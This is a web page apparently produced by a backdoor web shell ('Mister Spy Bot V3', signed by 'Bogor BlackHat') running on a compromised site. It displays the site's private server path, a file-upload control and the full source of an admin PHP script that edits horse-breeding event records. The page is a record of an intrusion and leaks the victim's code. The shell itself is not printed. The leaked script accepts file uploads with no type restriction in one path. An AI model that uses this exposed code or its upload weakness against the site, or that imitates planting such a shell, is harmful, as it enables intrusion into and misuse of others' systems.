Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/admin/
Upload File :
Current File : /home/caballoscriollos/public_html/web/admin/json-eventos-mod.php

<?php

require_once('../inc_library.php'); 

/* obtenemos datos enviados */
$IdEvento					= intval($_REQUEST['IdEvento']);
$arrCategorias				= $_REQUEST['IdCategoria'];
$arrCategoriasSubrubro		= $_REQUEST['IdCategoriaSubrubro'];
$arrInstancias				= $_REQUEST['IdInstancia'];

$IdRegion 					= intval($_REQUEST['IdRegion']);
$Fecha						= strval($_REQUEST['Fecha']);
$Titulo						= strval($_REQUEST['Titulo']);
$Observaciones				= strval($_REQUEST['Observaciones']);
$DescripcionTarifas			= strval($_REQUEST['DescripcionTarifas']);
$FechaHasta					= strval($_REQUEST['FechaHasta']);
$Direccion					= strval($_REQUEST['Direccion']);
$FechaInscripcionDesde		= strval($_REQUEST['FechaInscripcionDesde']);
$FechaInscripcionHasta		= strval($_REQUEST['FechaInscripcionHasta']);
$Suspendido					= intval($_REQUEST['Suspendido']);
$InformacionAdicional		= strval($_REQUEST['InformacionAdicional']);
$IdProvincia				= intval($_REQUEST['IdProvincia']);

$EliminarImagen				= intval($_REQUEST['EliminarImagen']);
$Localidad					= strval($_REQUEST['Localidad']);
$Video						= strval($_REQUEST['Video']);
$arrKeywords				= $_REQUEST['keyword'];
$Submit						= (isset($_REQUEST['Submitted']));

/* declaramos e instanciamos variables necesarias */
$err		= 0;
$oEventos			= new Eventos();
$oEventoArchivos	= new EventoArchivos();
$oEventosCategorias = new EventosCategorias();
$oKeywords			= new Keywords();
$oRegiones			= new Regiones();

/* verificamos si existe el registro */
if (!$oEvento = $oEventos->GetById($IdEvento))
{
	header('Location: json-eventos.php' . $strParams);
	exit;
}

/* validaciones... */
if ($Fecha == '')
	$err |= 2;
if ($Titulo == '')
	$err |= 4;
	
/* si no hay ningun error... */	
if ($err == 0)
{
	$Imagen 		= $_FILES['Imagen-1'];
	
	/* si no hay errores... */
	if ($Imagen['name'] != '')
	{
		if ($Imagen['error'] != 1)
		{
			$oUpload = new Image
			(
				$Imagen['name'], 
				$Imagen['tmp_name'], 
				$Imagen['size'], 
				$Imagen['type'], 
				array(Evento::PathImageBig, Evento::PathImageThumb),
				array('jpg', 'jpeg', 'gif', 'png'),				
				array(1200, 1200), 
				array(600, 600),
				array('Resize', 'Adaptive'),
				100
			);
		}
	}
	
	if (!$oUpload || $oUpload->UploadImage())
	{
		$oRegion = $oRegiones->GetById($IdRegion);
		
		if ($EliminarImagen == 1)
			$oEvento->Imagen = '';
		
			
		$oEvento->IdRegion				= $IdRegion;
		$oEvento->Fecha					= $Fecha;
		$oEvento->Titulo				= $Titulo;
		$oEvento->Observaciones			= $Observaciones;
		$oEvento->DescripcionTarifas	= $DescripcionTarifas;
		$oEvento->FechaHasta			= $FechaHasta;
		$oEvento->Direccion				= $Direccion;
		$oEvento->FechaInscripcionDesde	= $FechaInscripcionDesde;
		$oEvento->FechaInscripcionHasta	= $FechaInscripcionHasta;
		$oEvento->IdDelegado			= $oRegion->IdDelegado;
		$oEvento->Suspendido			= $Suspendido;
		$oEvento->InformacionAdicional	= $InformacionAdicional;
		$oEvento->IdProvincia			= $IdProvincia;
		$oEvento->Localidad				= $Localidad;
		$oEvento->Imagen 				= $oUpload ? $oUpload->GetNombre() : $oEvento->Imagen;
	
		/* modificamos el registro */
		$oEventos->Update($oEvento);

		$oEventosCategorias->DeleteAllByEvento($oEvento);
		$count = 0;
		foreach ($arrCategorias as $IdCategoria) {
			$oEC = new EventoCategoria();
			$oEC->IdEvento = $oEvento->IdEvento;
			$oEC->IdCategoria = $IdCategoria;
			$oEC->IdCategoriaSubrubro = $arrCategoriasSubrubro[$count];
			$oEC->IdInstancia = $arrInstancias[$count];
			$oEventosCategorias->Create($oEC);
			$count++;
		}
		
		if ($EliminarArchivos != '')
		{
			$arrids = explode(',', $EliminarArchivos);
			
			foreach ($arrids as $id)
			{
				$oEventoArchivos->Delete($id);
			}
		}
		
		$arrArchivos = $_FILES['Archivo'];
		$count = 0;
		foreach($_FILES['Archivo']['tmp_name'] as $key => $tmp_name)
		{
			if ($_FILES['Archivo']['name'][$key] == '') 
				continue;
				
			$oUpload = new Up
			(
				$key.$_FILES['Archivo']['name'][$key], 
				$_FILES['Archivo']['tmp_name'][$key], 
				$_FILES['Archivo']['size'][$key], 
				$_FILES['Archivo']['type'][$key], 
				Evento::PathFile
			);
			
			$Nombre = $_REQUEST['NombreArchivo'][$count];
			
			if ($Nombre == '')
				$Nombre = $_FILES['Archivo']['name'][$key];
				
			if ($oUpload->UploadFile())
			{
				$oEventoArchivo = new EventoArchivo();
				$oEventoArchivo->IdEvento	= $oEvento->IdEvento;
				$oEventoArchivo->Nombre		= $Nombre;
				$oEventoArchivo->Archivo	= $oUpload->GetNombre();

				/* creamos el registro */	
				$oEventoArchivo = $oEventoArchivos->Create($oEventoArchivo);
			}
			
			$count++;
		}

		$oKeywords->DeleteByIdEvento($oEvento->IdEvento);

		if ($arrKeywords) {
			foreach ($arrKeywords as $keyword) {
				$oKeyword = new Keyword();
				$oKeyword->IdEvento = $oEvento->IdEvento;
				$oKeyword->Nombre = $keyword;
				
				$oKeywords->Create($oKeyword);
			}
		}

		header('Content-type: application/json');
		echo json_encode(array("Success" => true, "Error" => ""));
	}
	else
	{
	header('Content-type: application/json');
	echo json_encode(array("Success" => false, "Error" => utf8_encode($err. "Error al procesar la imagen.")));
	}
}
else
{
	header('Content-type: application/json');
	echo json_encode(array("Success" => false, "Error" => utf8_encode($err. "Error al crear el evento.")));
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat